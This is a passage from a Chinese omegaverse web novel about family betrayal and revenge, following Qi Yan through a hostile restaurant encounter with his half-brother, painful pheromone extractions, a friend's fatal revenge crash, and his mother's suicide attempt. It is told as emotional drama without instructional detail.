出国多年,但由于两家有着合作,江与青也在国外见过他们,算是相识,礼貌笑道:“确实巧合,刚回国不久,正想着和好友约会,没想到会遇到沈先生和沈小姐,真是意外惊喜。” 他无视了易扬,和沈湘婷打完招呼,就想要和祁厌离开。奈何沈湘婷相当热情,江与青是她最喜欢的AriaNoir品牌的创始人兼设计师,女生一旦遇到喜欢的事物,就格外热情邀请他们一同用餐。 “没问题吧?大家一起用餐,我还想和你多聊聊!”沈湘婷站起身,手掌搁在滚圆的肚子,一脸喜悦地看向众人,询问他们的意见。 “湘婷,小心一点。”易扬也站起来扶住她,说,“只要你开心就好。” “无所谓。”沈溪流单手支着脸,看着外面的景色,神情冷淡。 对面都同意了,现在反倒是不好拒绝,江与青看向祁厌,见他微笑说:“没关系,难得沈小姐这般盛情邀请,拒绝的话,反倒不美了。” 反正在场的人都在互相无视,就没必要让江与青为难,吃一顿饭而已,不致死。 祁厌绅士地帮江与青拉开椅子,帮他把东西放好,饭桌上只有沈湘婷和江与青的声音,其他人都没兴趣搭话,诡异的关系在底下暗潮涌动。直到菜送过来,易扬开口让服务生准备几杯温水过来。 “湘婷先喝点水吧,还有都这个点了,沈哥应该要喝药了吧?”易扬看着时间,亲密地提醒他们,没注意到对面的沈溪流脸上的冷漠,继续道,“江小姐,他们二人不方便喝红酒,不介意我陪你喝一杯吧?” 祁厌老神在在地坐着,恍若未闻。江与青也像是没听见,笑眯眯说:“哎呀,这些菜看起来不错呢,就是有点素淡,沈小姐,都是你点的吗?” “我也觉得有点淡了。”沈湘婷喝完水,还没反应过来,就被江与青的话勾了过去,“不过没办法,二哥喜欢吃清淡的,我现在怀孕了,也得戒口。江小姐,我看你的百科上,好像提到你喜欢吃川菜吧?” 被提到沈溪流没有任何反应,搭在桌沿的手指悄无声息地敲击着桌面,没有发出声音,一下又一下。 “是哦,我喜欢吃川菜,说起这事啊,我当年出国时可惨了……” 两人聊得很开心,祁厌瞄到被无视的易扬脸色变得难看,选择没看见。 祁厌这个同父异母的弟弟,向来都是这般看不起他。 小时候就表现得相当抗拒和厌恶,随着年龄增长,两人的差距越来越大。易扬才意识到祁厌对自己不构成威胁,无论身份、地位、财富、见识等等都没有可比性,便不再将人放在眼里,眼中多了一抹轻蔑。 不过祁厌真没想到他和沈溪流看起来这么熟。 祁厌心思转动,表情却没有变化,看见一旁的沈溪流吃了颗药,是他没见过的药物。 沈溪流喝完药,面色沉静地吃着每个人单独一份的粥,并没有动筷子夹菜。一个人透着玻璃窗望着外面的景色。明明一桌五个人,他却像独立在外,冷冷清清,只有偶尔会答易扬的问题。 祁厌顺着他的目光看去,玻璃窗外的景色确实不错,微微映着餐厅里的场景,没有镜子清晰,但还是能够看见映照的人。 “不好意思,我先去个洗手间。”吃到一半,沈湘婷站起身离开,拒绝了易扬贴心地想要跟上。 她一离开,刚才的气氛顿时散开,场面冷了下来。 在座的四人沉默一会儿,易扬先开口:“江小姐,你多年没有回国,可能不清楚国内的情况,但我还是要提醒你一句,不要把什么乱七八糟的人都带到身边,这会拉低你的身份。” 他意有所指地说道,江与青六岁出国,不该和祁厌还有什么旧识感情。易扬记得,当年夏云惬和祁厌母子被赶走的时候,除了顾家,还有远在国外的江家念着夏老爷子的情分,伸出过援手。 但这么多年过去,这份情分早就消失了,江与青这样的人,不该再和祁厌这种人站在一起。 江与青确实不了解国内的事情,甚至只知道一些表面浅薄的事情,更深的事情并不知晓,但不代表他连易鸿立狼心狗肺地吃夏家绝户,还让前妻带着孩子净身出户的事都不知道。 听见易扬暗贬祁厌,江与青眼底闪过一抹冷意:“你别……” 祁厌放下筷子,面带微笑地用赞同的语气说:“有道理,真是有道理。随便把乱七八糟的人带到身边确实可能会害到自己,与青,你千万不能学我妈,把白眼狼也捡回家,结果被吞没家产,白眼狼还在外面生了个畜生,这现在都成了各家的提醒孩子的典范了。” 当年夏家的事闹得这么难看,S市有头有脸的人都知道,谁不对自家孩子面提耳命,让他们引以为戒。 不堪的往事被祁厌轻飘飘掀开,即使沈湘婷不在,易扬的内心也慌了一瞬,脸上的肌肉微微抽搐。 他飞快瞥了一眼在看风景的沈溪流,拔高音量,试图压制对方:“祁厌,你别想颠倒是非,胡说八道,当年分明是你妈……” “我是不是胡说,你最清楚,要不然何必露出这么惊慌失措的模样,不就是在试图掩盖真相,给我们泼脏水,以便彰显自己的清白。你不会以为这样有用吧?事情才过了不到二十年,S市见证到这件事的人多得是,你以为大家不提,就真的忘记了吗?” 祁厌慢条斯理地说着,幽深的桃花眼盯着他:“别自欺欺人了,作为白眼狼的儿子,‘他们’也在提防你,免得重蹈覆辙。” 他特意加重“他们”二字,说的是谁,不言而喻。 一句话扎到死穴,易扬不用回想,脑海里都飞快浮现沈湘婷父母逼着他签下婚前协议,脸色瞬间变得无比难看,凶狠的眼神死死盯着祁厌。 “嗒!” 在他差点失去理智前,杯子被一只修长苍白的手放在桌上,发出清脆的碰撞声,原本在悠闲看风景的沈溪流朝他们看过来。 “你们是想在餐厅扮演马戏团的小丑,供人取乐?” 他漠然的表情好像在看小丑表演,有点无趣,甚至有着被打扰看风景心情后的凉薄:“但很遗憾,没有人想看,别打扰别人用餐的心情。” 无差别的攻击,唤醒易扬的理智,他看到快要回来沈湘婷,脸色微变,赶紧压下愤怒的心情,恢复常态。 祁厌对上沈溪流的视线,看见他冷淡地撇过脸。 “啊,真是倒霉的一天,这餐用得真不愉快。” 江与青站起身,拉开椅子,拎起自己的包:“我这人心善,见不得某些人鸠占鹊巢还到处乱跳,顺带着讨厌自以为是的人。失礼了,我看我们还是不要互相打扰更好。” “祁厌,走人!”他说走就走,还嘀嘀咕咕地说,“出门饺子回家面,早知道就听你建议了,回国先吃碗面,才能保佑我顺顺利利……” 碰到迎面走来的沈湘婷,江与青像是无事发生地和对方笑眯眯打个招呼,说是有急事,先走一步了,下次有机会再一起吃饭。沈湘婷有些遗憾,见他们急匆匆离开,没有强硬让人留下。 离开餐厅,祁厌正在看手机信息,江与青把卡收好,出门时,他不忘用失踪人士的卡支付了一半费用,不想占人便宜,也不想被人占便宜。 AA万岁的江与青正在为祁厌抱不平,说沈家的人真是眼高于顶,自以为是,又骂某对父子都一样不要脸。上次出国还去他家拜访,想要买回当年被江家拍走的古董,不过他父亲拒绝了。虽然表面和易鸿立和气生财,但是江父心底相当不屑对方…… “祁厌,你在回谁信息啊?谈恋爱了?”江与青抱怨完,注意到祁厌正在思考怎么回信息,打了又删,删了又打,犹豫不决的表现很像刚谈恋爱的年轻人。 “一个客人。”最终,祁厌随便回了个字,就发过去,“请不要乱猜测我的单身情况,没谈。” 刚从餐厅走出来,沈溪流就发短信过来,让他别忘了今天下午要抽信息素的事情。 这人还真是一点都不在意与他无关的事情,以沈溪流的性格来看,刚才大约是真的嫌他们说话吵到悠闲的他了。 “哦,那单身的你,可不可以把某人的联系方式发给我,助力脱单,以后发你大红包。” 祁厌叹气:“真没有。” 要是他知道顾燕行人在哪,直接连人打包给江与青,远离他们。 三人的故事,他不想拥有名字。 江与青盯着他还在摸手机的手,一副思考的表情:“真没有谈恋爱吗?谈了我给你支招,给你发红包。” 这语气颇有一副给孩子发恋爱红包的味道。他们仨里,只有祁厌外表看起来放浪,但实则内心挺纯情的,江与青曾经听顾燕行提起,这么大岁数的人,连正经恋爱都没谈过。 祁厌:“……免了。” 契约还在,哪敢谈恋爱。待会儿还要去超市买点套子,上次用完了,得买一点回去。 雇主应付起来太麻烦,还特别挑剔…… …… 餐厅里,沈湘婷回到原位继续吃饭,慢半拍地想起一件事:“啊!刚才那个帅哥和阿扬长得好像哎!” “是吗?我也没注意看。”易扬不是很想聊祁厌,刚才的话还忘不掉,这让他一阵怄火,又不能表现出来。 他一定会让祁厌付出代价的,垂下的眼底闪过一抹狠厉。 沈湘婷嘟囔道:“就是很像啊!你没发现吗?你们的五官除了眼睛以外,其他部位的相似度特别高,二哥,你觉得他们像不像?” 沈溪流放下手机,侧着脸在看窗外,透明的玻璃映照着空荡荡的座位,他淡淡道:“没注意。” “诶?没注意吗?我觉得他可显眼了,要不是遇到我最喜欢的设计师,我估计都想要他的联系方式了,长得真帅!啊,阿扬,你不要不开心,我就是说说而已,他远远比不上你,你才是这个世界上最帅的alpha哦!” 沈湘婷甜甜地说着,发现沈溪流看了过来,不解道:“怎么了?二哥,不继续看风景吗?” “没什么。” 沈溪流收回目光,看瞎子而已。 第53章 前世 什么时候结束交易 【沈溪流的确不在意餐厅里的相遇, 只是提醒祁厌今天三点回去抽信息素,别在外面玩到忘记他的事情。 祁厌提前十分钟回去,和来抽信息素的几个研究人员在门口相遇, 笑着和对方打了个招呼:“今天又麻烦各位了。” “这话应该我们说才对,又得辛苦你了, 祁先生。今天由小舟来给你抽, 他下手比较准确。”对方也客气地说道。 旁边的小舟有些腼腆内敛,只是笑笑,没怎么说话。用于假性标记的信息素抽取要求更高, 使用的仪器技巧也更难掌握,扎的深度也有一定要求,相当刁钻, 一旦出错, 就要重新使用。 搬的新房子里有供研究人员使用的房间,还有着一扇长方形的玻璃窗,可以从外面看见里面发生的事情。 “沈先生,你今天要在这里看吗?” 他们到的时候,沈溪流早已回到家里,以往这种事情他都不会在一旁看着, 今天不知道怎么来了兴趣, 居然走到窗边围观, 祁厌进去前顺便问了一句。 沈溪流抬眼看了一眼, 淡淡道:“不可以吗?” 这是他的地盘, 他想做什么就做什么。 “倒也不是……你高兴就好。”祁厌想了想,没把话说出来。假性标记的信息素抽取过程很疼,任是他,每次被抽取后, 都会疼到流冷汗,场面挺难看的,一点都不帅。 正在消毒过的房间里准备好仪器的小舟抬头看到祁厌走了进来,本想小声说话,但又一眼看到一脸冷漠地站在窗边的沈溪流,顿时拿着仪器的手指一抖,面色有点苍白,嗫嚅着说:“沈……沈……” “小舟,你别那么紧张,沈先生只是随便看看。”旁边的同事知道他胆小,于是小声地提醒他一句。 “嗯……嗯。”小舟点点头,垂着脸温吞吞地说,“祁厌先生,劳烦你解开一下衬衫,露出后颈。” “好。”祁厌配合地坐下,解开衬衫上的几颗扣子,把后领往下拉,衣下的肌肉线条若隐若现,紧实又充满力量感,配合着他那张脸,显得慵懒随性又惑人。 小舟有点紧张,口罩下的鼻尖隐隐浸出汗水,祁厌看了一眼他的手,笑道:“这么多人里,你扎的是最准确,速度最快的,可别打破纪录了。” “……”小舟的手剧烈抖了一下,没敢直视他的眼睛,瓮声瓮气地说,“嗯……我会好好扎的。” 他深吸口气,无视掉窗外的人,准确无误地将仪器刺入祁厌的后颈。安静坐着的alpha一下子将手掌死死攥住,原本温和的面容一下子紧绷起来,抿着唇,一声不吭。 抽取时间约莫五分钟,持续性的疼痛让祁厌的脸色变得苍白,额头滚落冷汗,直到仪器被抽出去,他都久久缓不过神来,等小舟给他打完止痛剂,才慢慢反应过来,疼到有点说不出话。 大脑反应变得迟钝,他慢一拍地说:“小舟,你刚才是不是差点扎错了止痛剂?”扎止痛剂的时候,他好像被扎了两次。 小舟也有点紧张,差点打翻东西:“对不起,对不起,刚才有点紧张,不过你放心,我没有扎错。” “呵呵,不用紧张,我就是随便说说,谢了,你抽得挺快,少了不少折磨。”小舟技术比较好,换个人还得煎熬更长时间。 “……嗯。” 小舟口罩下的脸色有点苍白,他太紧张了,站在窗外的沈溪流正面无表情地看着,在他眼皮子底下做事,真的非常吓人。 尤其是当他们收拾好东西,走出房间却突然被沈溪流叫住的时候。 “让沈清泽尽快给我提取好,明天下班我亲自去取。” “好的,请沈先生放心,我会将这话转告给清泽先生的。”研究人员说完,便离开了这里。 站在窗外的沈溪流瞥了一眼,还坐在椅子上的祁厌,一脚踩在脚蹬上,另一条长腿落在地上,姿势看起来有点疏懒,他正在慢吞吞地扣衬衫扣子,连续扣错好几次,看得不耐烦的沈溪流转身离开,真蠢。 “真是够……”疼得慌,连话都说不出口了。 祁厌眼前一阵阵发黑,他不断深呼吸,嗓音有点颤。半边身体还有些麻木感,后颈的刺痛细细密密地蔓延到四肢百骸,连指尖都在细细抖动,衬衫已经被后背流出的汗水打湿,看起来有点丢脸。 这钱……真是没白拿,真要命。早知道这么疼,就应该像朋友说得那样,拿五百万走人算了。 不过小舟是不是拿错止痛剂了?怎么还疼得这么厉害? 祁厌疼到不想说话,转移注意力地思考,沈溪流最近的病情好转许多,用不着多久,就可以结束这场交易了。 还有明天,江与青打算让他陪伴,一起去参加个晚会,他需要找个理由拒绝…… 他琢磨出了个正当理由,打算明早就打电话去拒绝江与青。 当晚,刚做完爱的祁厌回到房间,洗了个澡,还在用毛巾擦拭湿发时,接到朋友打来的电话,得到一个糟糕的消息。 ——顾燕行死了。】 …… ………… 祁厌还在学校的时候,接到了个电话,来自于警察局的。 听说,他外公外婆正陪着母亲在游乐园回忆童年时,突然被一辆黑色奥迪接去了医院,半个小时后,警察收到来自于医院的报警电话—— 七旬老人怒起暴打轻伤在床的中年男人,保镖上来都没能制止这位曾经上过战场的退役老兵,甚至差点被误伤。 祁厌:“……所以你们把易鸿立给打成重伤了?” “是哦,那个人渣居然敢当面讽刺幺儿,你外公哪能是让幺儿受这种委屈的人啊?丢了那么多年早就心疼死,之前幺儿不肯讲这些事情,什么都不好做,现在知道还得了?” “当即就把他从病床逮下来,一个擒拿术将他摁倒在地。我没忍住上去抽了几巴掌,你外公说这可不行,太明显了,就给他四肢整脱臼了,说这样子查不出来,重伤都是那个人渣在那瞎叨叨,你放心,你外公对付这种人最熟练了,想当年他在部队……” 听着外婆的话,祁厌只得放下手里的活,匆匆忙忙赶去警察局,结果半路又接到他妈的电话,说事情已经解决,他们现在正在回家的路上,让祁厌不用过去了。 祁厌索性扭头回家,刚到楼下,就看到一辆警车停在公寓前,外公外婆和夏女士刚从警车里走出,正乐呵呵地和人家道谢。 “哎哟,不是让你妈打电话喊你莫回来了吗?跑这么急干啥子?没得事哦,你外公身份证上都七十五岁了,医院又查不出什么,就那个小兔崽子叫个不停,那个场面好宏观。” 警车刚走,外婆就看到了祁厌,上前拍拍他的肩膀,满脸红光:“你外公平时没白锻炼啊,坐办公室的都不是他的对手,打得那叫一个激烈。我给你讲,他新老婆就站在一旁看着,都不敢上来,她要是敢上来,我非得给他们两口子都扇几巴掌,居然敢欺负我家幺儿……” 外公满意点头:“那当然了,就他那个菜鸡身板,我一个打十个都没得问题。” 祁厌看了一眼,三人的气色都比平时更好,顿时松了口气:“你们没事就好,但你们三位就这么冲动上了他家的车,万一要是遇到什么危险……” “怕什么?你当你外公我平时是白锻炼吗?”外公严肃地说。 夏女士也笑道:“不用担心,我们也是再三考虑了,才上那辆车。” 毕竟总不能让易鸿立继续来骚扰祁厌吧? 她有点暗恨易鸿立的阴毒,见他们不愿意前往,保镖就说要去找祁厌,话里话外用祁厌来威胁夏云惬。 她知道这孩子最恨的就是易鸿立,不想祁厌被打扰,夏云惬当时是憋着气答应下来,好在离开时,在父母的帮助下,出了口恶气。 “妈,那家伙有多阴险,你又不是不知道,不怕一万就怕万一。”防人之心不可无,尤其是对上易鸿立那种危险的人。 知道家人上了易鸿立派去的车,祁厌在实验室里都忐忑不安,他有些担心易鸿立一不做二不休,对车动手脚,故意造成车祸…… 外婆摆摆手说:“你别瞎担心,就一个白眼狼有什么好怕的?你以为我们天天到处乱玩呢?真要遇到什么危险,你外公一个电话喊来的人,估计都比你这个在S市待了这么多年的人还要多。” 外公也教训他:“你个学生还在读书,要把精力都放在学习上,全家就你学历最高,不是说今天有很重要的实验和会议吗?怎么这么早回来?不会是逃课吧?现在没事就赶紧回学校去。” 祁厌一个人讲不过两个老人,他妈光笑不帮忙,无奈地把三人送回家,扭头就被赶出了家门。 临走前,外公还说,易鸿立的事情,现在就交给他来处理,孩子受委屈,就应该由父母讨回公道。祁厌这个学生少管大人的事情,好好读书,争取早日毕业,为祁家争光。 祁厌:“……” 他打电话和舅舅说了一声,舅舅听完后,语气惆怅许多,但也让他不用太担心。老人的人脉比他想象得更加厉害,毕竟也是当年上过战场立过战功的人。 祁厌仔细思索一番后,给顾燕行打了个电话,刚想问他一件事情,就听见他的声音里夹杂复杂的情绪,有种悲喜交加的意味:“祁厌,你还记得我之前说的那个人吗?他手里的东西我拿到手了!” 祁厌下意识直起身,有些惊喜,很快压下心情,谨慎问道:“你确定那东西的真伪了吗?” “……”顾燕行默然一瞬,有点艰难地说,“确定了,你要……过来看吗?” 祁厌道:“你已经看过那个东西了?” “……我看了,那人手里掌握的是一小段视频,当年易鸿立和宋意礼害死你夏外公的关键视频。”顾燕行非常低声说道,“阿姨,应该还不知道这件事吧?” 祁厌沉默良久:“嗯,我没有告诉她。” 担心她承受不住,导致病发,所以一直没有告诉夏女士,夏外公很有可能是被易鸿立害死的。 “有祁爷爷和祁奶奶陪伴她,应该会好许多吧,这件事情,她早晚会知道,还不如你选个恰当的时候,把事情都告诉他们。”顾燕行说道。 “我会的。”祁厌说。 夏女士现在的状态确实越来越好了,不过可能是她在祁厌小时候发病的模样实在是太可怕了,多年以来一直深深扎在他心里,导致祁厌总是放心不下。 就像顾燕行所说,夏云惬早晚会知道所有真相,如今有着外公外婆的陪伴与支撑,她应该不会像当年那般脆弱了。 反观自己,祁厌觉得自己现在的病好像比夏女士更加严重…… 要不然也不会总怀疑顾燕行作为活人的身份。 第54章 前世 自作多情 顾燕行死了。 这个消息来得太突然, 祁厌有点不敢相信,匆忙换件衣服,头发还没干就离开沈溪流的房子, 有些事情不方便在电话里说,只能赶去见朋友。 顾燕行的确死了, 他开车撞了易鸿立的车, 把自己的命也丢了进去。 据朋友所说,顾燕行开车撞过去的时候,易鸿立匆忙之下打了急转弯, 半边车子都被撞变形,坐在副驾驶的宋意礼当场死亡,易鸿立却逃过一劫, 被送进医院抢救。 朋友难以置信:“他怎么会做出这么偏激的事情?!” “因为他就是这么偏激的人, 三年前,他就想这么干了。” ——【他已经三年六个月又十二天一小时……没出现在我眼前了……】 江与青的计时回荡在脑海里,此时祁厌才反应过来,或许三年前他就没有完全劝住顾燕行,所以他才断掉了和江与青的联系。祁厌回想起他和顾燕行最后的一通电话,为什么没有提前发现他的计划呢? 那人死了, 那条线索断了, 顾燕行和易鸿立面对面见到对方了。以易鸿立的性格, 一定会说些什么话对顾燕行施加压力, 而顾燕行表面上看起来冷静, 其实一点就爆,压根受不了刺激。 他的父母皆是因为易鸿立的陷害而死,早就家破人亡的顾燕行没有任何后顾之忧。多年以来积攒的仇恨一直在疯涨,三年前就打算和易鸿立同归于尽, 让他用生命作为代价偿还,但是被祁厌劝住。 已逝的伯父伯母不会想要看到顾燕行被仇恨困住,远在国外的江与青还在等他,为了杀死易鸿立而牺牲自己的人生,这一点都不划算。 想要让易鸿立付出惨重代价,只有足够的证据能让他彻底失去重视的一切。无论是名誉权利,还是他的生命,法律都能够将其制裁,所以没必要牺牲自己…… “就算你注意到又怎么样,我们之前找这么久,根本找不到他的下落。”朋友掩住眼睛,有些无力地靠在椅子上,咬牙切齿道,“这家伙真是个……疯子。” 已经彻底下定决心,不想像三年前那样被祁厌阻止,所以没有泄露目的,甚至为预防万一,干脆利落地断掉和所有人的联系,一心谋划如何杀死易鸿立,为父母报仇。 易鸿立出车祸的事情压不住,现在才凌晨三点就已经频频上热搜,明早该知道的人、不该知道的人,都会知道这件事情。 “是啊,确实是疯子。”和疯子无法讲理,祁厌站起身,“我想出去一趟。” “……我和你一起。”朋友扶了扶眼镜,他知道祁厌想去哪里。理智分析,祁厌现在最好别出面,因为涉及到易家的事情,祁厌在这种时候出面只会把后续的麻烦事都揽到自己身上。但他一看祁厌的表情,就知道祁厌不可能不管这件事情。 朋友说:“我好歹也是个律师。” 不过等他们赶到公安机关指定的地方时,就知道晚了。 ——江与青比他们更早一步到来。 不像平日里那样打扮得精致,甚至没有穿女装,而是寻常黑色休闲服,表情冷峻地坐在外面:“你们都是来确认那家伙的身份?” 江与青知道得不比他们晚,一接到电话,就赶了过来。他冷静地说着:“不用确定了,是他。” 江与青已经确定了死者的身份,现在就等检验、鉴定结束以后,就能把尸体认领走。 三人间的气氛有些沉凝,江与青冷笑着说顾燕行死得很惨,尸体都被撞得稀巴烂,半张脸血肉模糊,不过就算变成这样,他也能一眼认出那个混蛋…… 祁厌和朋友不知道该说什么,听着他在那里骂,打破这种奇怪氛围的是匆匆赶来的易扬。 一见到来认领肇事者尸体的人中居然有祁厌,他的表情瞬间变得无比愤怒,目眦欲裂地捏紧拳头,猛地扑了上来,嘴里怒吼着:“祁厌,一定是你这个杂种指使那家伙害死我妈!害得我爸重伤还在抢救!” 祁厌厌恶地看他一眼,侧身闪躲,抓住易扬的手臂,脚下一勾,借着他扑过来的力量,直接将人从肩膀上甩飞出去,重重地摔在地上,发出“砰”的一声,疼得易扬冷汗直冒。 不等他挣扎起身,祁厌就将易扬按在地上,用膝盖抵住后背,强忍着怒意,道:“早知道,我倒是宁愿自己动手!反正你们易家还欠我祁家、夏家共六条命!易扬,你有什么资格在我面前跳!嫌害我们害得还不够惨吗?” “妈的,祁厌,你该死,你害死我妈,我一定会让你付出代价!!” 易扬不断怒吼着挣扎,根本听不进去祁厌说的任何一句话。祁厌微微松开他,在易扬翻过来,要攻击他的时候,抬手格挡,狠狠一拳回击砸在他的脸上,发出闷响。毕竟是公安机关,他们太吵太闹,很快就有人来分开制止他们,强行把易扬拉走。 易扬被怒火烧光理智,不断怒吼,祁厌再也压不住心底恨意,好在朋友死死抱住祁厌,提醒他不能再打下去。 过来的相关人员等事情结束了,才提醒他们三人,想要认领死者的尸体,需要准备一下材料,得证明自己的身份以及与死者关系的材料,到时候才能办理认领手续。 听到这话,祁厌和朋友都陷入了沉默。顾燕行行踪神秘,没有亲人,没有物欲追求,居无定所,平时过得和流浪汉没有什么区别。甚至和他们联系的方式都是不记名,更不可能留下任何作为朋友的证据。 这次的交通事故原因非常明确,顾燕行全责。但由于这家伙生前最后一笔钱全部拿去买车,又没有任何亲人,所以连承担赔偿的人都没有,来认领的也只是朋友,什么责任都不用负。 听起来,多少有点地狱笑话的感觉。 “我倒是有一张合照。”江与青抓着胡乱绑的头发,骂够了,神色疲惫,“四年前,他陪我去伦敦玩,不小心进入路人的镜头……” 说不下去了,听起来更可笑了。 他到现在还有点无法认清现实,走起路来感觉轻飘飘的,好像踩在云端上,稍一不注意就会坠入深渊。 一切都像是个噩梦,江与青甚至不想抬头去看祁厌和张衡一的脸,害怕看见他们怜悯的目光。 真是可恶,如果是噩梦,就赶紧让他醒来啊! ……醒过来就好了,讨厌的噩梦。 …… 早晨六点半,沈溪流换好衣服,刚走出家门,就闻到一股浓郁的烟味,顿时皱下眉头,看向坐在楼梯口的人。 “诶?已经这个时候了吗?”祁厌听到声音回头看去,注意到窗外已经亮如白昼,他下意识掐灭烟头,道歉,“对不起,熏到你了吧。” 合同里有写,不能在沈溪流的房子里抽烟。他回到了楼下,才想起来这件事,于是坐在角落里,想着随便抽几根再进去。结果满脑子都是事情的祁厌稍不注意,便抽到了天亮,弄得楼道里的烟味都没能被窗边透进来的风吹散。 “你是想去演恐怖片吗?”沈溪流看了他一眼,就好像被辣到眼睛般收回目光,语气嘲讽又平淡,“很有天赋。” 言下之意,他现在和鬼没有两样。 “呵呵。”祁厌笑了两声,手肘搭在曲起来的膝盖上。外面的光线落在他的脸颊,眼下黑眼圈无法忽视,眉眼间带着倦意,显得疏懒散漫,又带着一种颓废阴郁的美感。 因为逐渐进来的阳光有些刺眼,狭长桃花眼微微眯着,那双看似漆黑的瞳色并不是黑色,而是棕色的眼瞳。在阳光下,好似一块纯净的琥珀,带着温润的色泽,蕴含着细碎的金色碎光,温柔缱绻,让人想要溺死在其中。 “沈先生这么早上班吗?”祁厌记得沈溪流不是这么勤快的人,他也没有必要这么勤快。 “不,只是去一趟医院。”沈溪流面无表情地说,“给你放个假,今天和明天不用过来了。” 他说完,往电梯走去,没有解释原因。而他现在忽然去医院的原因,不言而喻,一个多小时以前,易鸿立抢救过来了。顾燕行搭上自己的命,都没能把易鸿立带走,真是可惜又可笑。 祁厌歪着头看沈溪流的背影,在电梯开启的时候,突然开口:“沈先生,你和易扬很熟吗?” 沈溪流顿了顿,说:“和你没关系。” “不该问的少问。”合同里有写,禁止过问雇主的事情。祁厌这几个月来,一条都没有犯过,今天却难得违反这条规则。 “嗯,那谢谢你的体谅。”祁厌说,今天和明天不用过来的话,他才有更多时间去帮江与青给顾燕行处理后事。 沈溪流道:“别自作多情。”只是看祁厌这个样子不顺眼,多看一眼都觉得不舒服。走廊里的烟味太重,让他不耐,于是关闭电梯,离开这里。 祁厌捡起自己放在地上的垃圾袋,里面放着罐装的啤酒,烟头丢在里面,没有在楼梯里留下痕迹。风不断从窗吹进来,很快就将所有烟味吹散了,有点凉,但祁厌好像感觉不到冷意。 顾燕行死的太突然,祁厌始终忘不掉他和自己打的最后一通电话。理智思考过以后,总怀疑易鸿立是不是对他做了什么,才把顾燕行逼到这一步,明明当年劝住了,他们不是没有别的办法了。 还有,他们曾经搜集到的证据又被顾燕行藏到哪里去了?既然决定去死,为什么不把东西提前交给他? 没解开的问题还有许多,祁厌抽着烟想,黯淡的火光微亮,一缕烟雾徐徐升腾而起,模糊了他的面容,又被风吹走。 他们都想要让易鸿立死,让他名誉尽毁,失去一切,始终未曾放弃。考虑到祁厌从小就活在易鸿立的监视下,多年以来收集的证据,一直由顾燕行藏着。 现在顾燕行死了,但易鸿立还没死,祁厌不打算放弃,会想办法找到顾燕行藏起来的东西,让易鸿立付出代价。 …… 处理完顾燕行的后事,江与青便出国了。 他回国本来就是为了寻找顾燕行,现在人找到了,自然就没有必要继续在国内待着,只和祁厌发了条信息,便干脆地离开,看不出一点伤心。 祁厌和朋友还在寻找顾燕行留下的线索,虽然知道不可能,但是他们仍希望这家伙能够留点只言片语也好,要不然对活着的人太过于残酷。 结果东西还没找到,祁厌先接到表妹打来的电话,她哽咽着说,姑姑发病跳楼了。 听到这话,祁厌大脑一片空白。 第55章 前世 一家人团聚 人在不幸的时候, 好像总是容易变得更加不幸。 如果说祁厌在这个世界上最愧疚的人是谁,无疑是夏云惬。 小时候的他,天真又愚蠢, 亲近信赖着易鸿立,所以当爸爸说妈妈生病了, 让他搬去和爷爷奶奶住一起时, 他没有怀疑地相信了对方。 也就是他的这份愚蠢,给夏云惬带去最痛苦的遭遇。 在她最无助的时候,相信了伤害她的人, 弃她于不顾。甚至在夏云惬拼命逃出易鸿立的囚禁,找到他的时候,因为恐惧与惊吓而对着疯疯癫癫的女人说出了否认的话, 眼睁睁看着她被保镖拉走, 才后知后觉地发现…… 那个浑身脏兮兮的女人,真的是他记忆里优雅又温柔的母亲,他呆愣住了。 身边的人都说,夏云惬疯了。 她连自己都照顾不好,还妄想将孩子抢走;其实是想要报复他的父亲,心里根本没有他的存在, 只是把孩子当作复仇的工具;她不爱你, 她没有能力照顾你, 她是个自私的人, 不会为你着想…… 不是的。 没有一个孩子愿意接受诋毁妈妈的话, 他不断地反驳着。 不是的,不是的,不是的…… 他的母亲不是这样的人! 所有人都在一个孩子面前诋毁他的母亲,试图让他抵触那个女人, 告诉他,只有父亲才是爱他的人。而那个从小就患病,娇生惯养、没有工作经验的女人,根本没有能力争夺孩子的抚养权。 但孩子反而对说自己母亲坏话的人产生抗拒与抵触,以及藏在心底的悔意,为什么他没有第一眼认出自己的母亲呢? 明明那是会给他弹钢琴、做饼干、教画画、学栽花的妈妈,总是轻声细语地说话,身上萦绕着温暖馥郁的百合花香,无比漂亮又纯净,在自己孩子眼里,她是这个世界上最温柔美丽的母亲。 所以,为什么没有认出来呢? 如果那时候扑上去抓住她的手,喊住她,妈妈是不是就不会病到现在这个地步呢? 可是这个世界没有如果,做错的人没有挽回的机会,只能够在接下来的岁月中不断地悔恨,永远活在痛苦中。 对不起,对不起,对不起…… 为什么那时候没有认出你,抓住你的手,叫住你呢? 就像记忆里总放在窗边的那一束百合花,祁厌只记住了百合花盛开时的美丽模样,却不知道她衰败的模样。 晨光斜斜洒入,被风吹起的薄纱轻轻垂落,透明花瓶里的百合花滚动着水珠,晶莹剔透,半透明的质感在阳光下显得莹润,干净又圣洁,散发着朦胧柔和的光芒。 后来,这朵百合花在他看不见的地方枯萎,他就没有认出来了。 【——姑姑是从十三楼跳下来的。】 “现在……”情况怎么样了? 他扶着桌子,自以为冷静地和对面打电话,但什么都听不清楚,直到几乎快要滑落的手机被沈溪流抽走了,他都没能反应过来。 灵魂好像被抽取了,自以为冷静地旁观着一切,实则浑身都在颤抖,连一句话都说不出口。 “……人是从十三楼跳下,坠落的过程被树枝缓冲,又掉落在草坪上,减缓一些冲击力,没有当场死亡。” 上次夏云惬生病,沈溪流就让她转到沈家的私人医院,发生了这种意外,医院第一时间对夏云惬进行抢救,即使希望渺小,但起码现在人还没有死去…… 沈溪流打着电话,把祁厌挂在衣帽架的外套丢过去:“穿上衣服,我已经让人申请了紧急航线,现在立刻赶过去……” “说不定还能见到最后一面。”他迟疑一瞬,依然说出不乐观的情况。 “……谢谢。” 祁厌好像终于回过神来,跟着沈溪流快速离开,他觉得自己很冷静,脑子很清醒,该说痛苦吗? 但他一滴眼泪都没有掉落,与其说痛苦,不如说是本能在拒绝这件事情。而且他的心底仍然有一种空洞的荒谬感。理性与感性被割裂开,感性的他在否认着这个事实,不可能吧,夏云惬怎么可能会跳楼自杀?绝不可能! 理性的他则沉默地接受了这个事实,没什么不可能,而且死亡也并没有这么可怕不是吗?对于一个病入膏肓、苟延残喘的人,或许是一个救赎。她终于从地狱解脱了,能够去见她渴望的父母、兄长…… “啪!”祁厌给了自己一巴掌,什么救赎啊!真是恶心的说法,如果不是病发,夏云惬不可能会选择跳楼自杀的! 在沈溪流的安排下,祁厌以最快的速度赶到C市的医院,全程花了不过两个小时,抵达医院时,夏云惬仍然在手术室里抢救,表弟和表妹都在外面焦急地等待着。 